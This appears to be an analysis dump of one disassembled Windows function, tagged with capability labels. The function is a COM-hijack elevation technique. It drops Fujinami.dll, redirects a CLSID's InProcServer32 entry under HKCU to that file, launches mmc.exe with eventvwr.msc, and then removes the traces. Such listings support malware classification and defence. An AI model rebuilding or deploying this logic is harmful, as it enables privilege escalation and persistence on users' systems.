Function at 0x140016591
Capabilities:
Delete file
Persist via com hijack
Set registry value

Disassembly:
jmp 0x1400276f0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1618
call fcn.14001600a
sub rsp, rax
lea rbp, [rsp + 0x50]
mov rdi, rsp
mov ecx, 0x586
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1638]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x15b8], rax
lea rcx, [0x14006d19a]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x64], 0
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0x108], 0
mov rax, qword [0x140065a08]
mov dword [rax + 0x58], 2
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.14001616d
lea rdx, str.Fujinami.dll
lea rcx, [rbp + 0x130]
call fcn.1400165e1
mov r8d, dword [rbp + 0x15e8]
mov rdx, qword [rbp + 0x15e0]
lea rcx, [rbp + 0x130]
call fcn.140016ad7
test eax, eax
jne 0x1400277d3
jmp 0x140027e8f
mov dword [rbp + 0x44], 1
lea rdx, str.CLSID_
lea rcx, [rbp + 0x560]
call fcn.14001616d
lea rdx, str.D5AB5662_131D_453D_88C8_9BBA87502ADE
lea rcx, [rbp + 0x560]
call fcn.1400165e1
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [rbp + 0x560]
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cdqe
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x140027841
jmp 0x140027e8f
lea rdx, str.SoftwareClassesCLSID_
lea rcx, [rbp + 0x560]
call fcn.14001616d
lea rdx, str.D5AB5662_131D_453D_88C8_9BBA87502ADE
lea rcx, [rbp + 0x560]
call fcn.1400165e1
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x108]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x560]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cdqe
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x1400278c7
jmp 0x140027e8f
mov dword [rbp + 0x24], 1
mov r8, qword [rbp + 0x108]
xor edx, edx
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegCopyTreeW]
cdqe
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x1400278fc
jmp 0x140027e8f
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp + 0xe8], 0
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp + 0x108], 0
lea rdx, str.SoftwareClassesCLSID_
lea rcx, [rbp + 0x560]
call fcn.14001616d
lea rdx, str.D5AB5662_131D_453D_88C8_9BBA87502ADE
lea rcx, [rbp + 0x560]
call fcn.1400165e1
lea rdx, str.InProcServer32
lea rcx, [rbp + 0x560]
call fcn.1400165e1
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x560]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cdqe
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x1400279c5
jmp 0x140027e8f
lea rcx, str.Fujinami__Version0.0.0.0__Cultureneutral
call fcn.14001680c
lea rax, [rax + rax + 2]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
mov dword [rsp + 0x28], eax
lea rax, str.Fujinami__Version0.0.0.0__Cultureneutral
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Assembly
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x140027a21
jmp 0x140027e8f
lea rcx, str.Fujinami.EntryPoint
call fcn.14001680c
lea rax, [rax + rax + 2]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
mov dword [rsp + 0x28], eax
lea rax, str.Fujinami.EntryPoint
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Class
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x140027a7d
jmp 0x140027e8f
mov edx, 0x618
lea rcx, [rbp + 0x990]
call fcn.140016c2b
lea rdx, str.file:__
lea rcx, [rbp + 0x990]
call fcn.14001616d
lea rax, [rbp + 0x130]
mov qword [rbp + 0xa8], rax
lea rcx, [rbp + 0x990]
call fcn.14001638e
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xa8]
movzx eax, word [rax]
test eax, eax
je 0x140027b64
mov rax, qword [rbp + 0xa8]
movzx eax, word [rax]
cmp eax, 0x5c
jne 0x140027b27
mov eax, 0x2f
mov rcx, qword [rbp + 0xc8]
mov word [rcx], ax
mov rax, qword [rbp + 0xc8]
add rax, 2
mov qword [rbp + 0xc8], rax
mov eax, 0x2f
mov rcx, qword [rbp + 0xc8]
mov word [rcx], ax
mov rax, qword [rbp + 0xc8]
add rax, 2
mov qword [rbp + 0xc8], rax
jmp 0x140027b4d
mov rax, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xa8]
movzx ecx, word [rcx]
mov word [rax], cx
mov rax, qword [rbp + 0xc8]
add rax, 2
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xa8]
add rax, 2
mov qword [rbp + 0xa8], rax
jmp 0x140027ac2
mov qword [rbp + 0x88], 5
mov rax, qword [0x140065a08]
mov eax, dword [rax + 0x58]
mov dword [rbp + 0x15b4], eax
cmp dword [rbp + 0x15b4], 2
je 0x140027b8a
jmp 0x140027bcb
lea rax, [rbp + 0x990]
mov qword [rsp + 0x20], rax
lea r9, str.REG_SZ
lea r8, str.CodeBase
lea rdx, [rbp + 0x560]
lea rcx, str.HKEY_CURRENT_USER
call fcn.14001628f
movzx eax, al
test eax, eax
je 0x140027bc9
mov qword [rbp + 0x88], 0
jmp 0x140027c18
lea rcx, [rbp + 0x990]
call fcn.14001680c
lea rax, [rax + rax + 2]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x990]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.CodeBase
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x140027c27
jmp 0x140027e8f
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp + 0xe8], 0
lea rdx, str.SoftwareClassesCLSID_
lea rcx, [rbp + 0x560]
call fcn.14001616d
lea rdx, str.D5AB5662_131D_453D_88C8_9BBA87502ADE
lea rcx, [rbp + 0x560]
call fcn.1400165e1
lea rdx, str.InProcServer32
lea rcx, [rbp + 0x560]
call fcn.1400165e1
lea rdx, str.3.0.0.0
lea rcx, [rbp + 0x560]
call fcn.1400165e1
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x560]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cdqe
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x140027ceb
jmp 0x140027e8f
mov qword [rbp + 0x88], 5
mov rax, qword [0x140065a08]
mov eax, dword [rax + 0x58]
mov dword [rbp + 0x15b4], eax
cmp dword [rbp + 0x15b4], 2
je 0x140027d11
jmp 0x140027d52
lea rax, [rbp + 0x990]
mov qword [rsp + 0x20], rax
lea r9, str.REG_SZ
lea r8, str.CodeBase
lea rdx, [rbp + 0x560]
lea rcx, str.HKEY_CURRENT_USER
call fcn.14001628f
movzx eax, al
test eax, eax
je 0x140027d50
mov qword [rbp + 0x88], 0
jmp 0x140027d8b
mov eax, dword [rbp + 0x64]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x990]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.CodeBase
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x140027d9a
jmp 0x140027e8f
lea rcx, str.Fujinami__Version0.0.0.0__Cultureneutral
call fcn.14001680c
lea rax, [rax + rax + 2]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
mov dword [rsp + 0x28], eax
lea rax, str.Fujinami__Version0.0.0.0__Cultureneutral
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Assembly
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x140027df6
jmp 0x140027e8f
lea rcx, str.Fujinami.EntryPoint
call fcn.14001680c
lea rax, [rax + rax + 2]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
mov dword [rsp + 0x28], eax
lea rax, str.Fujinami.EntryPoint
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Class
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x140027e4f
jmp 0x140027e8f
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp + 0xe8], 0
lea rdx, str.eventvwr.msc
lea rcx, str.mmc.exe
call fcn.140016a7d
test eax, eax
je 0x140027e85
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x140027781
cmp qword [rbp + 0xe8], 0
je 0x140027ea6
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rbp + 0x108], 0
je 0x140027ebd
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbp + 0x24], 0
je 0x140027efc
lea rdx, str.SoftwareClassesCLSID_
lea rcx, [rbp + 0x560]
call fcn.14001616d
lea rdx, str.D5AB5662_131D_453D_88C8_9BBA87502ADE
lea rcx, [rbp + 0x560]
call fcn.1400165e1
lea rdx, [rbp + 0x560]
mov rcx, 0xffffffff80000001
call fcn.140016046
cmp dword [rbp + 0x44], 0
je 0x140027f3e
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.14001616d
lea rdx, str.Fujinami.dll
lea rcx, [rbp + 0x130]
call fcn.1400165e1
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14004ce60]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x15b8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x15c8]
pop rdi
pop rbp
ret